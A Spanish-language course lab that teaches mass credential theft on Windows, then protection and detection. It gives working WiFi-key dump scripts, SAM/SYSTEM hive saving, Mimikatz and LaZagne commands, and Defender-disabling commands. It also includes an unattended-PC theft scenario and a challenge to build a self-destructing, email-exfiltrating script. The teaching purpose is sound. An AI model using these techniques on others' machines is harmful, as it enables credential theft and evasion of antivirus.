Lab 3.1: Extracción Masiva de Credenciales
Objetivos de Aprendizaje
Al final de este laboratorio, usted será capaz de:
- Extraer las contraseñas WiFi almacenadas en Windows
- Recuperar las contraseñas de los navegadores web
- Volcar los hashes NTLM de las cuentas de Windows
- Comprender cómo Windows almacena las credenciales
- Evaluar los riesgos de seguridad relacionados con el almacenamiento de contraseñas
- Aplicar medidas de protección apropiadas
Duración Estimada
35 minutos
Requisitos Previos
- VM Windows 10/11 con algunas contraseñas guardadas
- Navegador con contraseñas almacenadas (Chrome, Firefox o Edge)
- Algunas redes WiFi guardadas
- PowerShell
Contexto Profesional
En seguridad informática, la extracción de credenciales es una etapa crítica de:
- Pruebas de penetración autorizadas
- Investigación forense
- Evaluación de la postura de seguridad
- Concienciación de los usuarios sobre los riesgos
Este laboratorio demuestra por qué:
- 2 minutos de acceso físico = Todas sus contraseñas robadas
- Los gestores de contraseñas son esenciales
- El cifrado de disco es crucial
- Nunca dejar una computadora sin supervisión
⚠️ ADVERTENCIA ÉTICA Y LEGAL - MUY IMPORTANTE
ESTE LABORATORIO ENSEÑA TÉCNICAS EXTREMADAMENTE PODEROSAS
Las herramientas y técnicas de este laboratorio permiten extraer TODAS las contraseñas almacenadas en un sistema Windows en cuestión de segundos.
SOLO PERMITIDO:
- En su propia VM de prueba
- En sistemas de su propiedad
- Como parte de una prueba de penetración con contrato firmado
- Para investigación forense con mandato legal
ESTRICTAMENTE PROHIBIDO:
- En la computadora de otra persona sin permiso escrito
- Para robar contraseñas
- Para acceder a cuentas que no le pertenecen
- Para dañar, espiar o hackear
CONSECUENCIAS LEGALES:
- Robo de contraseñas = Delito grave (Código Penal art. 342.1)
- Prisión y multas importantes
- Antecedentes penales permanentes
- Expulsión académica
- Demanda civil
AL REALIZAR ESTE LABORATORIO, USTED SE COMPROMETE:
- A utilizar estas técnicas únicamente de manera legal y ética
- A NUNCA extraer credenciales de otras personas
- A concienciar a su entorno sobre los riesgos
- A proteger sus propios sistemas
Parte 1: Extracción de Contraseñas WiFi
Paso 1.1: Recordatorio - Método Manual
Ya conoce este comando del Lab 1.4:
netsh wlan show profiles
netsh wlan show profile name="MonWiFi" key=clear
Limitación: Un comando por red = ¡Tedioso!
Paso 1.2: Script de Extracción Automática
Cree un archivo wifi_dump.bat:
@echo off
echo ============================================
echo EXTRACCIÓN MASIVA - Contraseñas WiFi
echo ============================================
echo.
cd %temp%
netsh wlan show profiles | findstr "Profil Tous" > wifi_names.txt
echo [REDES WIFI ENCONTRADAS]
type wifi_names.txt
echo.
echo.
echo [EXTRACCIÓN DE CONTRASEÑAS...]
echo. > wifi_passwords.txt
for /f "tokens=2 delims=:" %%i in ('type wifi_names.txt') do (
set "ssid=%%i"
setlocal enabledelayedexpansion
set "ssid=!ssid:~1!"
echo ========================================== >> wifi_passwords.txt
echo SSID: !ssid! >> wifi_passwords.txt
echo ========================================== >> wifi_passwords.txt
netsh wlan show profile name="!ssid!" key=clear | findstr "Contenu" >> wifi_passwords.txt
echo. >> wifi_passwords.txt
endlocal
)
echo [RESULTADOS]
type wifi_passwords.txt
echo.
echo.
echo Archivo guardado: %temp%\wifi_passwords.txt
pause
Ejecute como administrador:
wifi_dump.bat
¡BOOM! En pocos segundos:
- Todas las redes WiFi listadas
- Todas las contraseñas extraídas
- ¡Guardadas en un archivo!
Preguntas:
- ¿Cuántas redes WiFi ha encontrado?
- ¿Cuántas contraseñas ha extraído?
- ¿Cuánto tiempo tomó la operación?
Paso 1.3: Versión PowerShell (Más Elegante)
Script PowerShell wifi_extract.ps1:
Write-Host "=== EXTRACCIÓN WIFI ===" -ForegroundColor Cyan
$profiles = netsh wlan show profiles | Select-String "Profil Tous" | ForEach-Object {
$_ -replace ".*:\s+", ""
}
$results = @()
foreach ($profile in $profiles) {
$profile = $profile.Trim()
Write-Host "Extrayendo: $profile" -ForegroundColor Yellow
$password = netsh wlan show profile name="$profile" key=clear |
Select-String "Contenu de la clé" |
ForEach-Object { $_ -replace ".*:\s+", "" }
$results += [PSCustomObject]@{
SSID = $profile
Password = if($password) {$password} else {"(Sin contraseña)"}
}
}
$results | Format-Table -AutoSize
$results | Export-Csv -Path "$env:TEMP\wifi_credentials.csv" -NoTypeInformation
Write-Host "`nGuardado: $env:TEMP\wifi_credentials.csv" -ForegroundColor Green
Ejecute:
powershell -ExecutionPolicy Bypass -File wifi_extract.ps1
Resultado: ¡Tabla formateada + archivo CSV!
Preguntas: 4. ¿Prefiere el script BAT o PowerShell? 5. ¿Por qué un atacante usaría esta técnica?
Parte 2: Extracción de Contraseñas de Navegadores
Paso 2.1: Comprender el Almacenamiento
Los navegadores almacenan las contraseñas:
- Chrome: Base de datos SQLite cifrada
- Firefox: Base de datos SQLite
- Edge: Igual que Chrome (Chromium)
Ubicación:
- Chrome:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data - Firefox:
%APPDATA%\Mozilla\Firefox\Profiles\ - Edge:
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
Cifrado:
- Windows Data Protection API (DPAPI)
- ¡Descifrable SI se tiene acceso a la cuenta de usuario!
Paso 2.2: Método Manual - Chrome (Demostración)
Mostrar contraseñas vía Chrome:
- Abra Chrome
chrome://settings/passwords- Haga clic en el ojo para ver una contraseña
- ¡Se solicita la contraseña de Windows!
Limitación: Una por una, interfaz gráfica
Pero con acceso a los archivos...
Paso 2.3: Script PowerShell - Extracción Chrome
IMPORTANTE: ¡Chrome debe estar cerrado!
Script chrome_passwords.ps1:
# Verificar si Chrome está instalado
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
if (!(Test-Path $chromePath)) {
Write-Host "Chrome no está instalado o no hay contraseñas" -ForegroundColor Red
exit
}
Write-Host "=== EXTRACCIÓN CONTRASEÑAS CHROME ===" -ForegroundColor Cyan
Write-Host "ATENCIÓN: ¡Esto es una DEMOSTRACIÓN!" -ForegroundColor Yellow
Write-Host ""
# Copiar la base de datos (¡Chrome debe estar cerrado!)
$tempDb = "$env:TEMP\ChromeLoginData"
Copy-Item $chromePath $tempDb -Force
Write-Host "Base de datos copiada" -ForegroundColor Green
Write-Host "Ubicación: $chromePath" -ForegroundColor Yellow
Write-Host ""
Write-Host "CONTENIDO (vista previa):" -ForegroundColor Cyan
# Mostrar alguna información (sin descifrado completo para este lab básico)
# Para descifrado completo: Usar LaZagne u otra herramienta especializada
Write-Host "- Archivo SQLite encontrado"
Write-Host "- Tamaño: $((Get-Item $chromePath).Length / 1KB) KB"
Write-Host "- Última modificación: $((Get-Item $chromePath).LastWriteTime)"
Write-Host ""
Write-Host "Para extracción completa, usar LaZagne (ver Parte 4)" -ForegroundColor Yellow
Remove-Item $tempDb -Force
Nota: El descifrado DPAPI es complejo. Usaremos una herramienta automatizada en el siguiente paso.
Parte 3: Hash NTLM de las Cuentas de Windows
Paso 3.1: Comprender los Hash NTLM
Windows almacena las contraseñas como hash:
- Archivo:
C:\Windows\System32\config\SAM - Hash NTLM (NT LAN Manager)
- Imposible de leer directamente (archivo bloqueado)
Pero con privilegios SYSTEM o modo recuperación...
Paso 3.2: Método Reg Save (Requiere Admin)
Ejecute cmd como administrador:
reg save HKLM\SAM C:\Users\%USERNAME%\Desktop\sam_backup
reg save HKLM\SYSTEM C:\Users\%USERNAME%\Desktop\system_backup
Resultado: ¡Archivos SAM y SYSTEM guardados!
Estos archivos contienen:
- Todas las cuentas de usuario locales
- Sus hashes NTLM
- ¡Pueden ser crackeados offline!
Preguntas: 6. ¿Logró guardar SAM y SYSTEM? 7. ¿Cuál es el tamaño de estos archivos?
Paso 3.3: Extracción con Mimikatz (Demostración)
Mimikatz es la herramienta de referencia para extracción de credenciales Windows.
ATENCIÓN: Los antivirus lo detectarán. Es normal.
Comandos Mimikatz (demostración conceptual):
privilege::debug
token::elevate
lsadump::sam
Resultado: ¡TODOS los hashes NTLM de las cuentas mostrados!
Nota: Para este laboratorio, no instalamos Mimikatz (detectado como malware). Usaremos LaZagne en su lugar (menos detectado).
Parte 4: LaZagne - La Herramienta Definitiva (Instalación y Uso)
Paso 4.1: ¿Qué es LaZagne?
LaZagne = Herramienta Python open-source que extrae TODO:
- Contraseñas WiFi
- Contraseñas de navegadores (Chrome, Firefox, Edge, Opera, etc.)
- Contraseñas de correo (Outlook, Thunderbird)
- Contraseñas FTP (FileZilla)
- Credenciales Git, SVN
- Credenciales de bases de datos
- ¡Y mucho más!
¡En un solo comando!
Paso 4.2: Descarga
Opción A: Versión precompilada (Recomendado para este laboratorio)
- Vaya a: https://github.com/AlessandroZ/LaZagne/releases
- Descargue
lazagne.exe(versión Windows standalone)
Opción B: Desde fuente (si tiene Python instalado)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/Windows
python laZagne.py all
ATENCIÓN: ¡El antivirus probablemente lo bloqueará! Normal, es una herramienta "ofensiva".
Paso 4.3: Desactivar Windows Defender Temporalmente
Para usar LaZagne, debe desactivar Defender:
PowerShell como administrador:
Set-MpPreference -DisableRealtimeMonitoring $true
O vía interfaz:
- Configuración → Privacidad y seguridad → Seguridad de Windows
- Protección contra virus y amenazas
- Administrar configuración
- Desactivar Protección en tiempo real
Agregue una exclusión:
Add-MpPreference -ExclusionPath "C:\Users\$env:USERNAME\Downloads"
Preguntas: 8. ¿Logró desactivar Defender? 9. ¿Por qué Defender detecta LaZagne?
Paso 4.4: Ejecución de LaZagne - EXTRACCIÓN TOTAL
EL COMANDO MÁGICO:
lazagne.exe all
ESPERE 10-30 SEGUNDOS...
RESULTADO MOSTRADO:
########## User: SuNombre ##########
------------------- Wifi passwords -------------------
[+] SSID: MiWiFi_5G
Password: SuperSecreto123!
[+] SSID: Oficina_WiFi
Password: Empresa2024
------------------- Chrome passwords -------------------
[+] URL: https://facebook.com
Username: suemail@example.com
Password: ContraseñaFacebook123
[+] URL: https://gmail.com
Username: usted@gmail.com
Password: GmailPassword456!
------------------- Firefox passwords -------------------
[+] URL: https://github.com
Username: sucuenta
Password: GitHub789Pass
------------------- System Hash -------------------
[+] Username: Administrador
Hash: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
[+] 15 passwords found!
¡WOW! ¡TODAS LAS CONTRASEÑAS EN CLARO!
Paso 4.5: Guardar en un Archivo
Para guardar los resultados:
lazagne.exe all > C:\Users\%USERNAME%\Desktop\ALL_PASSWORDS.txt
O en JSON (estructurado):
lazagne.exe all -oJ -output C:\Users\%USERNAME%\Desktop
Archivo creado: credentials.json ¡con TODO!
Preguntas: 10. ¿Cuántas contraseñas encontró LaZagne? 11. ¿Le sorprendió alguna contraseña que había olvidado? 12. ¿Cuánto tiempo tomó la extracción total?
Parte 5: Escenarios de Ataque Reales
Paso 5.1: Escenario "2 Minutos de Acceso Físico"
Situación:
- La víctima va al baño (2 minutos)
- Computadora desbloqueada
- El atacante tiene acceso físico
Acciones del atacante:
Minuto 1:
- Insertar USB con
lazagne.exe - Desactivar Defender (5 segundos):
powershell Set-MpPreference -DisableRealtimeMonitoring $true - Ejecutar LaZagne (10 segundos):
E:\lazagne.exe all > E:\pwds.txt
Minuto 2: 4. Esperar resultados (20 segundos) 5. Retirar USB 6. Reactivar Defender:
powershell Set-MpPreference -DisableRealtimeMonitoring $false
RESULTADO:
- Todas las contraseñas robadas
- Ningún rastro visible
- ¡La víctima no nota NADA!
Preguntas: 13. ¿Le parece realista este escenario? 14. ¿Alguna vez ha ido al baño dejando su PC desbloqueada?
Paso 5.2: Escenario "Malware"
Si un malware se ejecuta en su PC:
- Descarga LaZagne desde el servidor atacante
- Se ejecuta en segundo plano (invisible)
- Extrae todas las credenciales
- Envía al servidor C&C (Command & Control)
- Se elimina (borra rastros)
Tiempo total: 30 segundos Detectable: ¡Muy difícil si está bien hecho!
Paso 5.3: Escenario "USB Encontrado"
Ataque clásico:
- El atacante deja un USB en el estacionamiento/cafetería
- Etiqueta: "Salarios 2024 - Confidencial"
- La víctima curiosa lo inserta en su PC
- Autorun o la víctima hace doble clic en un archivo
- El script ejecuta LaZagne
- Envía resultados por email al atacante
Víctima: Solo ve "Archivo dañado" Realidad: ¡Todas sus contraseñas robadas!
Preguntas: 15. ¿Recogería un USB encontrado en el suelo? 16. ¿Qué hacer si encuentra un USB?
Parte 6: Impacto y Consecuencias
Paso 6.1: ¿Qué Puede Hacer un Atacante?
Con todas sus contraseñas, el atacante puede:
Correo electrónico:
- Leer todos sus correos
- Enviar correos en su nombre
- Restablecer otras contraseñas
Redes sociales:
- Suplantar su identidad
- Publicar en su nombre
- Acceder a sus mensajes privados
Bancario:
- Acceder a su banca en línea
- Realizar transferencias
- Robar dinero
Profesional:
- Acceder a la red de la empresa
- Robar secretos industriales
- Comprometer a colegas
¡Todo!
Paso 6.2: Cadena de Ataque Completa
Ejemplo realista:
- Robo de contraseñas (este laboratorio)
- Correo comprometido → Restablecer otras cuentas
- Redes sociales → Ingeniería social sobre contactos
- VPN empresa → Acceso a red corporativa
- Servidores internos → Exfiltración de datos
- Ransomware → Cifrado y demanda de rescate
Todo comienza por: ¡2 minutos de acceso físico!
Preguntas: 17. ¿Cuál sería el impacto si TODAS sus contraseñas fueran robadas hoy? 18. ¿Cuánto tiempo le tomaría recuperarse?
Paso 6.3: Ejercicio - Evaluación Personal
Cuente cuántas cuentas tiene:
- Correo electrónico: ___
- Redes sociales: ___
- Bancarias/Financieras: ___
- Profesionales: ___
- Otras importantes: ___
- TOTAL: ___
Si están almacenadas en el navegador: ¡Todas robables en 30 segundos!
Parte 7: Medidas de Protección
Paso 7.1: NUNCA Almacenar Contraseñas en el Navegador
Solución 1: Gestor de Contraseñas Dedicado
Recomendaciones:
- Bitwarden (gratuito, open source)
- 1Password (de pago, excelente)
- KeePassXC (gratuito, local)
Ventajas:
- Cifrado fuerte
- Contraseña maestra requerida
- No extraíbles por LaZagne
- Generación de contraseñas fuertes
- Sincronización segura
Paso 7.2: BitLocker Obligatorio
BitLocker protege contra:
- Extracción de archivos en modo recuperación
- Robo de laptop
- Acceso físico
Con BitLocker activado:
- LaZagne no puede ejecutarse sin contraseña de descifrado
- Archivos SAM/SYSTEM inaccesibles
- Máxima protección
Active ahora:
# Verificar estado
Get-BitLockerVolume
# Activar (Windows Pro)
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -UsedSpaceOnly
Paso 7.3: Autenticación de Dos Factores (2FA)
Aunque la contraseña sea robada:
- 2FA impide el acceso
- Se requiere un código adicional
- En teléfono o llave física
Active 2FA en todos lados:
- Correo electrónico (¡CRÍTICO!)
- Banco
- Redes sociales
- Cuentas profesionales
Aplicaciones 2FA:
- Microsoft Authenticator
- Google Authenticator
- Authy
Paso 7.4: Bloqueo Automático
Configuración Windows:
# Bloqueo tras 1 minuto
powercfg /setacvalueindex SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK 60
powercfg /setactive SCHEME_CURRENT
O manualmente:
- Configuración → Cuentas → Opciones de inicio de sesión
- Tiempo antes de nueva conexión: 1 minuto
Siempre: Windows + L al alejarse
Paso 7.5: Antivirus y EDR
Windows Defender:
- Mantener activado permanentemente
- Excepto para laboratorios específicos
- Reactivar inmediatamente después
Empresa:
- EDR (Endpoint Detection and Response)
- Detecta ejecución de LaZagne, Mimikatz
- Alerta al equipo de seguridad
Parte 8: Detección y Limpieza
Paso 8.1: Verificar Si Está Comprometido
Signos de extracción de credenciales:
Logs de Windows:
# Buscar ejecuciones sospechosas
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
Select-Object TimeCreated, Message | Format-List
Archivos sospechosos:
# Buscar LaZagne u otras herramientas similares
Get-ChildItem -Path C:\ -Recurse -Filter "lazagne.exe" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Filter "mimikatz.exe" -ErrorAction SilentlyContinue
Defender Quarantine:
# Verificar cuarentena
Get-MpThreatDetection | Select-Object ThreatName, InitialDetectionTime
Paso 8.2: ¿Qué Hacer Si Está Comprometido?
Acciones inmediatas:
- Desconectar Internet (evitar exfiltración)
- Cambiar TODAS las contraseñas (desde otro dispositivo seguro)
- Activar 2FA en todos lados
- Escaneo completo antivirus
- Verificar logs bancarios y de correo
- Notificar a la empresa (si es PC profesional)
Paso 8.3: Reinicio Completo (Si es Necesario)
Si hay dudas serias:
- Respaldar datos importantes (verificados sanos)
- Reinstalación completa de Windows
- Cambio de TODAS las contraseñas
- Monitoreo de cuentas durante 6 meses
Entregables
A entregar:
-
Documento de análisis (Word/PDF, 3-4 páginas):
- Respuestas a las 18 preguntas
- Captura de pantalla de contraseñas WiFi extraídas (¡difuminado!)
- Resultados de LaZagne (¡ANONIMIZADOS!)
- Análisis de su situación personal
-
Capturas de pantalla (mínimo 5):
- Script wifi_dump en acción
- Resultado de LaZagne (URLs y nombres de usuario OK, ¡contraseñas OCULTAS!)
- Archivos SAM/SYSTEM guardados
- Configuración de BitLocker
- Gestor de contraseñas instalado
-
Plan de acción personal (1 página):
- Estado actual de sus contraseñas
- Riesgos identificados
- Acciones a tomar (priorizar)
- Cronograma de implementación
-
Concienciación (opcional):
- Cree un cartel o presentación para sensibilizar a su entorno
- "Por qué nunca dejar su PC sin supervisión"
Criterios de Evaluación
| Criterio | Puntos |
|---|---|
| Extracción exitosa de credenciales WiFi | 20% |
| Comprensión de LaZagne y su funcionamiento | 20% |
| Análisis de riesgos y escenarios de ataque | 20% |
| Plan de acción personal realista | 20% |
| Calidad de la documentación y capturas | 15% |
| Concienciación (opcional) | +5% bonus |
Comandos de Referencia Rápida
Extracción WiFi
netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear
Desactivación Defender
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Tools"
Backup SAM
reg save HKLM\SAM sam_backup
reg save HKLM\SYSTEM system_backup
LaZagne
lazagne.exe all
lazagne.exe all > passwords.txt
lazagne.exe all -oJ
BitLocker
Get-BitLockerVolume
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256
Solución de Problemas
Problema: Defender bloquea LaZagne
Solución:
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Downloads"
Problema: "Acceso denegado" para SAM
Solución: Ejecute cmd como administrador.
Problema: LaZagne no encuentra ninguna contraseña
Solución:
- Verifique que tiene contraseñas guardadas
- Cierre todos los navegadores antes de ejecutar
- Algunos gestores de contraseñas no son compatibles
Ir Más Allá (Opcional)
Reto 1: Cracking de Hash
Utilice John the Ripper o Hashcat para crackear los hashes NTLM extraídos.
Reto 2: Script de Extracción Automatizada
Cree un script que:
- Desactive Defender
- Ejecute LaZagne
- Envíe resultados por email
- Reactive Defender
- Se autodestruya
(¡Solo para comprensión, nunca usar maliciosamente!)
Reto 3: Protección Avanzada
Implemente:
- Credential Guard (Windows)
- Windows Hello for Business
- Certificados en lugar de contraseñas
- Smart cards
Recursos Adicionales
- LaZagne GitHub
- Mimikatz Documentation
- DPAPI Explained (Microsoft)
- Credential Manager (Windows)
- OWASP Password Storage Cheat Sheet
Conclusión
Este laboratorio le ha enseñado:
- Cómo Windows almacena las credenciales
- Técnicas de extracción masiva de contraseñas
- Uso de LaZagne para volcado completo
- Escenarios de ataque realistas
- Medidas de protección eficaces
Lecciones CRÍTICAS:
- 2 minutos de acceso = Todas sus contraseñas robadas
- NUNCA almacenar contraseñas en el navegador
- Gestor de contraseñas dedicado = Esencial
- BitLocker = Protección definitiva
- 2FA = Respaldo si la contraseña es robada
- Bloqueo automático = Hábito imprescindible
MENSAJE FINAL:
Ahora sabe lo FÁCIL que es robar todas las contraseñas de una computadora.
Protéjase:
- Instale un gestor de contraseñas AHORA
- Active 2FA en todas sus cuentas HOY
- Nunca deje su PC sin supervisión
- Conciencie a su entorno
Con gran poder viene una gran responsabilidad.
Utilice estos conocimientos para el BIEN: protéjase y proteja a los demás.
Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 3
⚠️ RECORDATORIO FINAL: Estas técnicas son solo para aprendizaje. Uso malicioso = Delito grave.